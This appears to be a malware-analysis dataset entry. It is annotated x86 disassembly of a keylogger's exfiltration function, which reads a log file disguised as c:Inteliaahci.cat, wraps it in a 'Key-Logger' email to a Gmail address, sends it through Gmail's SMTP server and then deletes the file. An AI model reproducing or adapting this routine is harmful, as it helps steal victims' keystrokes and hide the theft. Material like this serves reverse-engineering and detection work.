Function at 0x4025e0
Capabilities:
Delete file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, section..rdata
push esi
push ebx
sub esp, 0x1c
mov dword [esp + 4], edi
mov dword [esp], str.c:Inteliaahci.cat
call sub.msvcrt.dll_fopen
test eax, eax
mov edi, eax
je 0x402822
mov dword [esp], edi
xor ecx, ecx
mov ebx, 2
mov dword [esp + 4], ecx
mov dword [esp + 8], ebx
call sub.msvcrt.dll_fseek
mov dword [esp], edi
call sub.msvcrt.dll_ftell
cmp eax, 0xc34f
mov esi, eax
jle 0x402810
lea ebx, [eax + 0x3e8]
mov dword [esp], ebx
call sub.msvcrt.dll_malloc
mov dword [eax], 0x3a6f54
mov ebx, eax
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [eax + ebx], 0x61686f68
mov ecx, 0x6f687568
mov edx, 0x616d6740
mov dword [eax + ebx + 4], ecx
mov ecx, 0x632e6c69
mov dword [eax + ebx + 0xc], ecx
mov dword [eax + ebx + 8], edx
mov word [eax + ebx + 0x10], 0x6d6f
mov byte [eax + ebx + 0x12], 0
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov word [eax + ebx], 0xa
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov dword [eax + ebx], 0x6d6f7246
mov word [eax + ebx + 4], 0x3a
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov dword [eax + ebx], 0x2d79654b
mov edx, 0x67676f4c
mov dword [eax + ebx + 4], edx
mov word [eax + ebx + 8], 0x7265
mov byte [eax + ebx + 0xa], 0
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov word [eax + ebx], 0xa
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov dword [eax + ebx], 0x6a627553
mov ecx, 0x3a746365
mov dword [eax + ebx + 4], ecx
mov byte [eax + ebx + 8], 0
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov dword [eax + ebx], 0x676f4c
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov word [eax + ebx], 0xa
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [ebp - 0x10], eax
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov dword [eax + ebx], 0x676f4c0a
mov ecx, 0x203a64
mov edx, 0x6e65532d
mov dword [eax + ebx + 8], ecx
mov dword [eax + ebx + 4], edx
lea edx, [ebp - 0x10]
mov dword [esp], edx
call sub.msvcrt.dll_ctime
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
mov dword [esp], edi
xor ecx, ecx
xor eax, eax
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
call sub.msvcrt.dll_fseek
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], edi
mov edx, 1
add eax, ebx
mov dword [esp + 4], edx
mov dword [esp + 8], esi
mov esi, 0x40589b
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov byte [ebx + eax], 0
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov dword [eax + ebx], 0xd2e0a0d
mov ecx, str.Key_Logger
mov edx, str.hohahuho_gmail.com
mov word [eax + ebx + 4], 0xa
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], esi
mov dword [esp], str.gmail_smtp_in.l.google.com
call fcn.004022a0
mov dword [esp], edi
test eax, eax
setne al
movzx esi, al
call sub.msvcrt.dll_fclose
mov dword [esp], str.c:Inteliaahci.cat
call sub.msvcrt.dll_remove
mov dword [esp], ebx
call sub.msvcrt.dll_free
add esp, 0x1c
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], edi
call sub.msvcrt.dll_fclose
add esp, 0x1c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], 0x2710
mov esi, section..rdata
call sub.msvcrt.dll__sleep
mov dword [esp + 4], esi
mov dword [esp], str.c:Inteliaahci.cat
call sub.msvcrt.dll_fopen
test eax, eax
mov edi, eax
je 0x402822
jmp 0x402608